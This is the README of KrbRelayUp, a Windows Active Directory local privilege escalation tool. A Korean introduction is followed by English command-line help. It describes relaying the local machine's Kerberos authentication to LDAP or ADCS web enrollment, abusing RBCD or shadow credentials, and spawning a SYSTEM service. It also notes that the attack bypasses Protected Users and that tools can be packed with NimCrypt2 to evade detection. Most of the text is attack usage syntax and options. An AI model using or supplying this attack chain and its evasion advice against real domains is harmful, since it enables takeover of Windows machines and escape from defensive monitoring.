
KrbRelayUp - LDAP 서명이 적용되지 않는(기본 설정) Windows 도메인 환경에서 사용할 수 있는 범용 무수정 로컬 권한 상승 도구.
Rubeus와 KrbRelay의 일부 기능(및 감사의 글 섹션에 언급된 몇 가지 다른 도구들)을 감싸는 간단한 래퍼로, 다음 공격 프리미티브의 악용을 간소화하기 위한 것입니다:
이것은 본질적으로 LDAP 서명이 적용되지 않는(기본 설정) Windows 도메인 환경에서 패치가 없는(no-fix) 범용 로컬 권한 상승입니다.
업데이트: 여기에서 @an0n_r0님이 이 공격을 수동으로 수행하는 방법에 대한 훌륭한 분석 글을 확인할 수 있습니다 (이 공격 경로에 사용되는 원본 도구들: PowerMad/SharpMad, KrbRelay, Rubeus 및 SCMUACBypass)
섀도 자격 증명을 사용하여 이 공격 프리미티브를 지원하는 몇 가지 기능을 추가했습니다. 이 방법을 사용하면 다른 컴퓨터 계정을 추가(또는 소유)할 필요가 없어집니다.
참고: 이 공격 방법은 S4U2Self 악용으로 인해 Protected Users(또는 '계정이 민감하여 위임할 수 없음') 완화 조치를 우회합니다.
업데이트: 여기에서 @icyguider님이 이 공격의 ShadowCred 방식을 수동으로 수행하는 방법에 대한 훌륭한 분석 글을 확인할 수 있습니다 (이 공격 경로에 사용되는 원본 도구들: KrbRelay, Rubeus 및 SCMUACBypass) 및 방어 메커니즘의 일부 탐지를 우회하기 위해 NimCrypt2로 다양한 도구를 패킹하는 사용법도 함께 다룹니다.
LDAP 대신 ADCS 웹 등록으로 머신 KRB 인증을 릴레이하는 기능을 추가했습니다. 이 공격은 LDAP으로 릴레이하지 않으므로 도메인에서 LDAP 서명을 적용하지 않아도 된다는 요구 사항이 사라집니다.
참고: 이 공격 방법은 S4U2Self 악용으로 인해 Protected Users(또는 '계정이 민감하여 위임할 수 없음') 완화 조치를 우회합니다.
KrbRelayUp - Relaying you to SYSTEM
FULL: Perform full attack chain. Options are identical to RELAY. Tool must be on disk.
RELAY: First phase of the attack. Will Coerce Kerberos auth from local machine account, relay it to LDAP and create a control primitive over the local machine using RBCD or SHADOWCRED.
Usage: KrbRelayUp.exe relay -d FQDN -cn COMPUTERNAME [-c] [-cp PASSWORD | -ch NTHASH]
-m (--Method) Abuse method to use in after a successful relay to LDAP <rbcd/shadowcred> (default=rbcd)
-p (--Port) Port for Com Server (default=12345)
-cls (--Clsid) CLSID to use for coercing Kerberos auth from local machine account (default=90f18417-f0f1-484e-9d3c-59dceee5dbd8)
# RBCD Method:
-c (--CreateNewComputerAccount) Create new computer account for RBCD. Will use the current authenticated user.
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (default=RANDOM [if -c is enabled])
# SHADOWCRED Method:
-f (--ForceShadowCred) Clear the msDS-KeyCredentialLink attribute of the attacked computer account before adding our new shadow credentials. (Optional)
# ADCS Method:
-ca (--CAEndpoint) CA endpoint FQDN (default = same as DC)
-https Connect to CA endpoint over secure HTTPS instead of HTTP)
-cet (--CertificateTemplate) Certificate template to request for (default=Machine)
SPAWN: Second phase of the attack. Will use the appropriate control primitive to obtain a Kerberos Service Ticket and will use it to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe spawn -d FQDN -cn COMPUTERNAME [-cp PASSWORD | -ch NTHASH] <-i USERTOIMPERSONATE>
-m (--Method) Abuse method used in RELAY phase <rbcd/shadowcred> (default=rbcd)
-i (--Impersonate) User to impersonate. should be a local administrator in the target computer. (default=Administrator)
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
# RBCD Method:
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (either -cp or -ch must be specified)
-ch (--ComputerPasswordHash) Password NT hash of computer account for RBCD. (either -cp or -ch must be specified)
# SHADOWCRED | ADCS Method:
-ce (--Certificate) Base64 encoded certificate or path to certificate file
-cep (--CertificatePassword) Certificate password (if applicable)
KRBSCM: Will use the currently loaded Kerberos Service Ticket to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe krbscm <-s SERVICENAME> <-sc SERVICECOMMANDLINE>
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
General Options:
-d (--Domain) FQDN of domain. (Optional)
-dc (--DomainController) FQDN of domain controller. (Optional)
-ssl Use LDAP over SSL. (Optional)
-n Use CreateNetOnly (needs to be on disk) instead of PTT when importing ST (enabled if using FULL mode)
-v (--Verbose) Show verbose output. (Optional)
